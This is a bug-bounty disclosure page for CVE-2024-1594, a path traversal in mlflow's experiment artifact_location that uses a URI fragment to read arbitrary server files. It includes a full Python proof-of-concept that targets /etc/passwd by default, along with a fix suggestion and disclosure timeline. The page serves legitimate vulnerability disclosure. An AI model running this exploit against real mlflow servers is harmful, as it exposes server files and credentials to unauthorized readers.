

Local file read using path traversal in experinent's artifact_location in mlflow/mlflow

✓ Valid

Reported on Dec 22nd 2023

Description

There was a recently disclosed vulnerability in CVE-2023-6909 (<https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/>) that used a path traversal in `artifact_location` when creating an experiment to later read arbitrary files with registered model versions. They used a path traversal in query component of artifact location, like `http:///?/../../../../../../../../../../../../../../../../../../../../etc/` . This was fixed in latest version (2.9.2), but it is still possible to achieve the same result by using a fragment component `#` instead. Otherwise this is exactly the same issue as in CVE-2023-6909.

Fix suggestion

Discard fragment components from uris altogether as they are not used when making http requests.

Proof of Concept

```
from argparse import ArgumentParser
from random import randbytes
from requests import Session
from urllib.parse import unquote

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("--path", default="/etc/passwd")
    args = parser.parse_args()

    url = args.url
    ajax_api = f"{url}/ajax-api/2.0/mlflow"

    with Session() as s:
        model_name = "m_" + randbytes(4).hex()
        experiment_name = "e_" + randbytes(4).hex()

        rsp = s.post(f"{ajax_api}/experiments/create", json={
            "name" : experiment_name,
```

```

"artifact_location" : "http:///#../../../../../../../../../../../../../../../../"
})
experiment_id = rsp.json()["experiment_id"]

rsp = s.post(f"{ajax_api}/runs/create", json={
    "experiment_id" : experiment_id
})
run_uuid = rsp.json()["run"]["info"]["run_uuid"]

rsp = s.post(f"{ajax_api}/registered-models/create", json={
    "name" : model_name
})

rsp = s.post(f"{ajax_api}/model-versions/create", json={
    "name" : model_name,
    "run_id" : run_uuid,
    "source": "/"
})

rsp = s.get(f"{args.url}/model-versions/get-artifact", params={
    "name" : model_name,
    "version" : 1,
    "path" : args.path.removeprefix("/")
})
try:
    print(rsp.content.decode())
except UnicodeDecodeError:
    print(rsp.content)

rsp = s.post(f"{ajax_api}/experiments/delete", json={
    "experiment_id" : experiment_id
})

```

Impact

This vulnerability is capable of arbitrary files in the context of servers process.

Occurrences

 uri.py L246

-  We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago
-  A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago
-  We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago

-  **ozelis** modified the report 2 years ago
-  **Dan McInerney** modified the Severity from High (8.5) to High (7.5) 2 years ago
-  The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
- 

Dan McInerney validated this vulnerability 2 years ago
-  **ozelis** has been awarded the disclosure bounty ✓
-  The fix bounty is now up for grabs
-  The researcher's credibility has increased: +7
- 

CVE-2024-1594 assigned to this report. 2 years ago
- 

A huntr admin modified the scheduled publication date from Invalid date to 16th Apr 2024 2 years ago
- 

We have sent a warning to the **mlflow** team to inform them that this report will be published in 48 hours 2 years ago
- 

This vulnerability has now been published 2 years ago
- 

CVE-2024-1594 has now been published 2 years ago
- 

We have notified the **mlflow/mlflow** maintainers about this report in their weekly follow-up a year ago

[Sign in](#) to join this conversation

CVE

CVE-2024-1594

Published

Vulnerability Type

CWE-22: Path Traversal

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High

Integrity
Availability

None
None

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

2.9.2

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



ozelis

@ozelis

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)